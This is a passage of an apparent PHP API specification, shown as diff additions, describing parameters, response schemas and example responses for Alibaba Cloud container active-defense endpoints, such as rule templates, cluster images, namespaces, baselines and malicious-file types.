'模板详情信息。', + 'type' => 'object', + 'properties' => [ + 'StrategyId' => [ + 'description' => '规则编号。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1005', + ], + 'StrategyTemplateId' => [ + 'description' => '规则使用模板编号。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1204', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', + ], + 'StrategyName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'Blank template', + ], + 'Description' => [ + 'description' => '规则说明。', + 'type' => 'string', + 'example' => 'Custom defense configuration', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'hhht-cluster-02', + ], + 'UnScanedImage' => [ + 'description' => '该规则是否支持未扫描镜像。取值：'."\n" + ."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'example' => 'false', + ], + 'MaliciousImage' => [ + 'description' => '该规则是否支持互联网恶意镜像。取值：'."\n" + ."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'example' => 'false', + ], + 'Namespace' => [ + 'description' => '命名空间列表。', + 'type' => 'array', + 'items' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'example' => 'default', + ], + ], + 'ImageName' => [ + 'description' => '镜像名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像名称。', + 'type' => 'string', + 'example' => 'test', + ], + ], + 'Label' => [ + 'description' => '容器标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器标签。', + 'type' => 'string', + 'example' => 'test', + ], + ], + 'RuleAction' => [ + 'description' => '规则动作。取值：'."\n" + .'- **1**：告警'."\n" + .'- **2**：拦截'."\n" + .'- **3**：放行', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'WhiteList' => [ + 'description' => '镜像标签白名单列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像标签白名单。', + 'type' => 'string', + 'example' => 'test-tag', + ], + ], + 'AlarmDetail' => [ + 'description' => '规则配置信息。', + 'type' => 'object', + 'properties' => [ + 'Baseline' => [ + 'description' => '基线规则配置信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '基线等级列表。取值：'."\n" + ."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'array', + 'items' => [ + 'description' => '基线等级。取值：'."\n" + ."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'example' => 'low', + ], + ], + 'Item' => [ + 'description' => '基线项目信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '基线项目信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '基线检查项唯一识别码。', + 'type' => 'string', + 'example' => 'ak_leak', + ], + 'Name' => [ + 'description' => '基线检查项名称。', + 'type' => 'string', + 'example' => 'Access Key plaintext storage', + ], + ], + ], + ], + ], + ], + 'Vul' => [ + 'description' => '漏洞规则配置信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '漏洞等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞风险的等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'low', + ], + ], + 'Item' => [ + 'description' => '漏洞项目信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞项目信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '漏洞编号。', + 'type' => 'string', + 'example' => 'AVD-2023-1680169', + ], + 'Name' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'ezOffice evoInterfaceServlet Info Leak', + ], + ], + ], + ], + ], + ], + 'MaliciousFile' => [ + 'description' => '恶意样本规则配置信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '恶意样本等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '恶意样本风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + ."\n" + .'- **medium**：中危'."\n" + ."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'low', + ], + ], + 'Item' => [ + 'description' => '恶意样本项目信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '恶意样本项目信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '恶意样本唯一识别码。', + 'type' => 'string', + 'example' => 'test', + ], + 'Name' => [ + 'description' => '恶意样本名称。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1E36BEEA-0B27-58CC-8319-50279203B048', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"StrategyId\\": 1005,\\n \\"StrategyTemplateId\\": 1204,\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"StrategyName\\": \\"Blank template\\",\\n \\"Description\\": \\"Custom defense configuration\\",\\n \\"ClusterName\\": \\"hhht-cluster-02\\",\\n \\"UnScanedImage\\": false,\\n \\"MaliciousImage\\": false,\\n \\"Namespace\\": [\\n \\"default\\"\\n ],\\n \\"ImageName\\": [\\n \\"test\\"\\n ],\\n \\"Label\\": [\\n \\"test\\"\\n ],\\n \\"RuleAction\\": 1,\\n \\"WhiteList\\": [\\n \\"test-tag\\"\\n ],\\n \\"AlarmDetail\\": {\\n \\"Baseline\\": {\\n \\"RiskLevel\\": [\\n \\"low\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"ak_leak\\",\\n \\"Name\\": \\"Access Key plaintext storage\\"\\n }\\n ]\\n },\\n \\"Vul\\": {\\n \\"RiskLevel\\": [\\n \\"low\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"AVD-2023-1680169\\",\\n \\"Name\\": \\"ezOffice evoInterfaceServlet Info Leak\\"\\n }\\n ]\\n },\\n \\"MaliciousFile\\": {\\n \\"RiskLevel\\": [\\n \\"low\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"test\\",\\n \\"Name\\": \\"test\\"\\n }\\n ]\\n }\\n }\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"1E36BEEA-0B27-58CC-8319-50279203B048\\"\\n}","type":"json"}]', + 'title' => '容器主动防御获取规则模板详情', + ], + 'ListCriteriaStrategy' => [ + 'summary' => '查询容器主动防御规则编号及规则名称。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'title' => '集群编号', + 'description' => '集群编号。'."\n" + .'> 您可通过调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'c4af4fdf38a98496a9b63c2be5dae****', + ], + ], + [ + 'name' => 'StrategyName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器主动防御规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'description' => '集群命名空间。'."\n" + .'> 您可通过调用[GetOpaClusterNamespaceList](~~GetOpaClusterNamespaceList~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'ImageName', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像名称。'."\n" + .'> 您可通过调用[GetOpaClusterImageList](~~GetOpaClusterImageList~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'testImage', + ], + ], + [ + 'name' => 'Label', + 'in' => 'query', + 'schema' => [ + 'description' => '容器标签。'."\n" + .'> 您可通过调用[GetOpaClusterLabelList](~~GetOpaClusterLabelList~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'testlabel', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult>', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '容器主动防御规则编号及规则名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器主动防御规则编号及规则名称。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '容器主动防御规则唯一标识。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => 'test', + ], + 'Value' => [ + 'description' => '容器主动防御规则名称。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + ."\n" + .'- **true**：请求成功。'."\n" + .'- **false**：请求失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '835851E3-AFA2-5EA7-93E9-4FC9BCF3F973', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"Id\\": 0,\\n \\"Value\\": \\"test\\"\\n }\\n ],\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"835851E3-AFA2-5EA7-93E9-4FC9BCF3F973\\"\\n}","type":"json"}]', + 'title' => '查询容器主动防御规则编号及规则名称', + ], + 'GetOpaClusterImageList' => [ + 'summary' => '查询集群镜像。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'ImageName', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'testImage', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c4af4fdf38a98496a9b63c2be5dae****', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'title' => '容量', + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为**20**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'title' => '页码', + 'description' => '指定分页查询时，当前页的页码。默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '镜像信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像信息。', + 'type' => 'object', + 'properties' => [ + 'ImageName' => [ + 'description' => '镜像名称。', + 'type' => 'string', + 'example' => 'opa-test', + ], + ], + ], + ], + 'Count' => [ + 'description' => '当前页显示的镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，200表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0D02F593-2050-5F5D-8C98-D965FF1B461D', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"ImageName\\": \\"opa-test\\"\\n }\\n ],\\n \\"Count\\": 1,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"0D02F593-2050-5F5D-8C98-D965FF1B461D\\"\\n}","type":"json"}]', + 'title' => '容器主动防御获取集群镜像信息', + ], + 'GetOpaClusterNamespaceList' => [ + 'summary' => '查询容器主动防御风险镜像阻断集群命名空间信息。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'NameSpaceName', + 'in' => 'query', + 'schema' => [ + 'description' => '命名空间名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'sit', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'ca0faf43e33904ecbb6c695df7906****', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'title' => '容量', + 'description' => '分页查询时，显示的每页数据的最大条数。默认**20**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'title' => '页码', + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '命名空间列表。', + 'type' => 'array', + 'items' => [ + 'description' => '命名空间。', + 'type' => 'object', + 'properties' => [ + 'NameSpaceName' => [ + 'description' => '命名空间名称。', + 'type' => 'string', + 'example' => 'testNameSpace', + ], + ], + ], + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '384BFAF1-FC41-58DD-97DD-9D361ADF377D', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"NameSpaceName\\": \\"testNameSpace\\"\\n }\\n ],\\n \\"Count\\": 0,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"384BFAF1-FC41-58DD-97DD-9D361ADF377D\\"\\n}","type":"json"}]', + 'title' => '风险镜像阻断获取集群命名空间信息', + ], + 'GetOpaClusterBaseLineList' => [ + 'summary' => '查询风险镜像阻断功能支持检测的基线。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '基线检查信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '基线检查信息。', + 'type' => 'object', + 'properties' => [ + 'ClassKey' => [ + 'description' => '基线主项的分类key。', + 'type' => 'string', + 'example' => 'identification', + ], + 'NameKey' => [ + 'description' => '基线主项的名称key。', + 'type' => 'string', + 'example' => 'identification', + ], + 'ItemKey' => [ + 'description' => '基线子项的名称key。', + 'type' => 'string', + 'example' => 'duplicate_uid', + ], + 'Alias' => [ + 'description' => '基线主项的别名。', + 'type' => 'string', + 'example' => 'Make sure there are no duplicate usernames or UIDs', + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C2F2A020-1CAB-5F52-8CAF-B2ACDDFAC247', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"ClassKey\\": \\"identification\\",\\n \\"NameKey\\": \\"identification\\",\\n \\"ItemKey\\": \\"duplicate_uid\\",\\n \\"Alias\\": \\"Make sure there are no duplicate usernames or UIDs\\"\\n }\\n ],\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"C2F2A020-1CAB-5F52-8CAF-B2ACDDFAC247\\"\\n}","type":"json"}]', + 'title' => '查询风险镜像阻断支持检测的基线列表', + ], + 'ListImageBuildRiskItem' => [ + 'summary' => '查询镜像风险构建命令类型列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为zh。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => 'ListResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'ItemKey' => [ + 'description' => '风险构建命令类型Key。', + 'type' => 'string', + 'example' => 'key', + ], + 'ItemName' => [ + 'description' => '风险构建命令类型名称。', + 'type' => 'string', + 'example' => 'itemName', + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C619F37', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"ItemKey\\": \\"key\\",\\n \\"ItemName\\": \\"itemName\\"\\n }\\n ],\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C619F37\\"\\n}","type":"json"}]', + 'title' => '查询镜像风险构建命令类型列表', + ], + 'DescribeMatchedMaliciousNames' => [ + 'summary' => '查询恶意文件类型列表。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Levels', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '要查询的镜像恶意样本的危险程度。可输入多个值，多个值之间使用英文逗号（,）分隔。取值：'."\n" + .'- **serious**：紧急'."\n" + .'- **suspicious**：可疑'."\n" + .'- **remind**：提醒', + 'type' => 'string', + 'required' => false, + 'example' => 'serious', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C7CD1BE6-97A2-5524-A529-B55C63E55D59', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'array', + 'items' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Key' => [ + 'description' => '恶意样本类型Key。', + 'type' => 'string', + 'example' => 'key', + ], + 'DisplayName' => [ + 'description' => '恶意样本类型显示名称。', + 'type' => 'string', + 'example' => 'displayname', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C7CD1BE6-97A2-5524-A529-B55C63E55D59\\",\\n \\"Count\\": 1,\\n \\"Data\\": [\\n {\\n \\"Key\\": \\"key\\",\\n \\"DisplayName\\": \\"displayname\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询恶意文件类型列表', + ], + 'ListAegisContainerPluginRule' => [ + 'summary' => '查询用户配置。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'abilityTreeCode' => '183030', + 'abilityTreeNodes' => [ + 'FEATUREsasZLVTBH', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '查询条件。格式如下：'."\n" + .'```json'."\n" + .'['."\n" + .' {'."\n" + .' "name": "ruleName",'."\n" + .' "value": "test"'."\n" + .' }'."\n" + .']'."\n" + .'```'."\n" + .'**- name**: 条件名称，支持以下条件：'."\n" + .'- **ruleName**：规则名称'."\n" + ."\n" + .'**- value**: 条件值', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"name\\": \\"name\\", \\"value\\": \\"test-1818\\"}]', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'RuleType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。取值：'."\n" + .'- **0**：用户自定义'."\n" + .'- **1**：系统内置', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + 'default' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', + ], + 'PageInfo' => [ + 'description' => '数据分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + ], + ], + 'RuleList' => [ + 'description' => '规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则。', + 'type' => 'object', + 'properties' => [ + 'GmtCreate' => [ + 'description' => '创建时间。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1676355025000', + ], + 'GmtModified' => [ + 'description' => '当前实体类型的修改时间。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1681985833000', + ], + 'RuleId' => [ + 'description' => '规则id。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '30****', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'test-18****', + ], + 'RuleDescription' => [ + 'description' => '规则描述。', + 'type' => 'string', + 'example' => 'system_call', + ], + 'RuleTemplateId' => [ + 'description' => '规则模板ID。通过ListSystemClientRules获取模板ID。', + 'type' => 'string', + 'example' => '868**', + ], + 'RuleTemplateName' => [ + 'description' => '规则模板名称。', + 'type' => 'string', + 'example' => 'system_call', + ], + 'Mode' => [ + 'description' => '规则动作模式。取值：'."\n" + .'- **1**：告警'."\n" + .'- **2**：拦截', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'SelectedPolicy' => [ + 'description' => '规则项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '指定启用规则的权限策略信息。', + 'type' => 'string', + 'example' => 'system_schedule_task', + ], + ], + 'SwitchId' => [ + 'description' => '规则对应的开关ID。', + 'type' => 'string', + 'example' => 'USER-ENABLE-SWITCH-TYPE_****', + ], + 'WhiteImages' => [ + 'description' => '白名单镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '白名单镜像列表。', + 'type' => 'string', + 'example' => 'nginx:latest', + ], + ], + 'Policies' => [ + 'description' => '策略列表。', + 'type' => 'array', + 'items' => [ + 'description' => '策略列表。', + 'type' => 'object', + 'properties' => [ + 'PolicyKey' => [ + 'description' => '策略键。', + 'type' => 'string', + 'example' => 'system_auto_****', + ], + 'PolicyName' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => '系统自启动任务****', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + 